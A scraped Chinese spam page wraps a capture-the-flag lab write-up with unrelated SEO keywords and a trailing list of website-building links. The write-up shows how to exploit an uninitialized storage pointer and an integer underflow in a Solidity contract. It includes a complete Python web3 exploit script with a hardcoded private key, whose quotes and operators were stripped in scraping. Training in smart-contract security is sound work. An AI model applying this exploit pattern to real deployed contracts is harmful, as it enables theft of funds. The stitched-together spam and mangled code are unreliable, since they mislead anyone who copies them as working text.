当前位置: 首页 > news >正文

专业网站设计公司排名网站改版多少钱

专业网站设计公司排名,网站改版多少钱,网站常用模块,网站建设完整版系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验…系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 在solidity语言中像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的因为”栈”里只能保存单独的”字”也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时必须明确指明其位置在storage还是memory中。 函数内声明的struct若未初始化若对其赋值则会按照Solidity存储规则从slot 0开始存储覆盖之前slot位置的变量造成不可预想的控制流劫持。 实验内容 合约中内置了未初始化的存储指针和整数溢出问题找到合约漏洞并形成利用把合约中的flag变量设置为true即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10008 实验过程 获取合约地址和合约源代码 nc ip 10008连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10008连接到题目输入2获取部署合约的地址及new token nc ip 10008连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求将合约中的flag变量设置为true 分析代码逻辑需要满足balanceOf[msg.sender] 10000000但是并未有可以增加balanceOf[msg.sender]的代码 漏洞在ubw函数中函数中的第二个分支不存在初始化n在执行的时候会形成未初始化漏洞那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址第二个值为2 第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数fate函数中存在整数溢出漏洞 通过整数溢出我们可以获得大量余额然后payforflag即可将flag设置为true EXP利用 用python编写自动化exp将下述contract_address替换成自己的题目合约地址即可总共包括三个步骤一是调用题目合约ubw()函数并转账3 wei这样就会进入到else分支将slot 0位置的secret覆盖成msg.sender就可以满足onlySecret二是调用题目合约fate(0,1)函数因为balanceOf[msg.sender]0此时0-1会产生整数下溢满足require的条件三是调用题目合约payforflag()函数因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数满足10000000的要求可将flag设置为true from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x2880bF5Afe97F3bF983598E135474D743AC366C3 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23)# call ubw() in ETH8 with 3 wei data Web3.keccak(textubw()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18) txn_receipt sign_and_send(txn) if(txn_receipt[status]1):print(call ubw() success)time.sleep(5)# call fate(0,1) in ETH8 data Web3.keccak(textfate(address,uint256)).hex()[:10] data 0*64 data 1.rjust(64, 0) txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call fate(0,1) success)time.sleep(5)# call payforflag() in ETH8 data Web3.keccak(textpayforflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call payforflag() success)执行exp nc ip 10008连接到题目输入3输入之前的new token获取flag
http://www.dnsts.com.cn/news/24568.html

相关文章:

  • 网站维护常识seo网络营销推广
  • 重庆微信网站开发公济南网络推广公司排行榜
  • 网站权重6了该则么做优化方案做网站需要注册商标多少类
  • 网站开发的检索速度在啥范围之内怎么在网站上做链接
  • 为女朋友做网站百度指数分析
  • 国内对企业网站开发的研究直播营销策划方案
  • 电子产品网站建设策划深圳装修公司大全
  • 相亲网站如何做自我介绍微信怎么弄公众号
  • 网站如何导入百度地图微信营销号是啥意思
  • 签约做网站模板网站开发专业建设
  • 北京建网站品牌公司网站建设制作找哪家
  • 商丘给企业做网站的公司天津大型网站建设风格
  • 做门户网站需要什么知乎营销平台
  • 小米网站设计制作灯笼活动
  • php做旅游网站广东蕉岭县建设局网站
  • 网站突然被降权怎么办建设网站需要哪些东西
  • asp.net 做网站好吗营销类网站
  • 西安高端网站定制网站建设的拓扑结构
  • 成都网站建设 川icp备wordpress做排行榜单
  • 怎么建设手机网站首页云县网站建设
  • 网站开发常见面试题南昌招网页设计师的公司
  • 网站开发技术文档格式广告公司创意取名
  • 做电视的视频网站吗珠海杰作网站建设网络公司
  • 直播网站怎么做的专业做网站安全的sine安
  • 什么网站可以找人做设计师搜索热门关键词
  • 重庆网站建设模板阿里云虚拟主机可以做几个网站吗
  • 荥阳市网站建设做网站应达到什么效果
  • 杭州seo网站推广排名做线下极限运动的网站
  • 广告联盟做网站网站后台模板怎样使用
  • 做的网站提示不安全jsp网页成品免费下载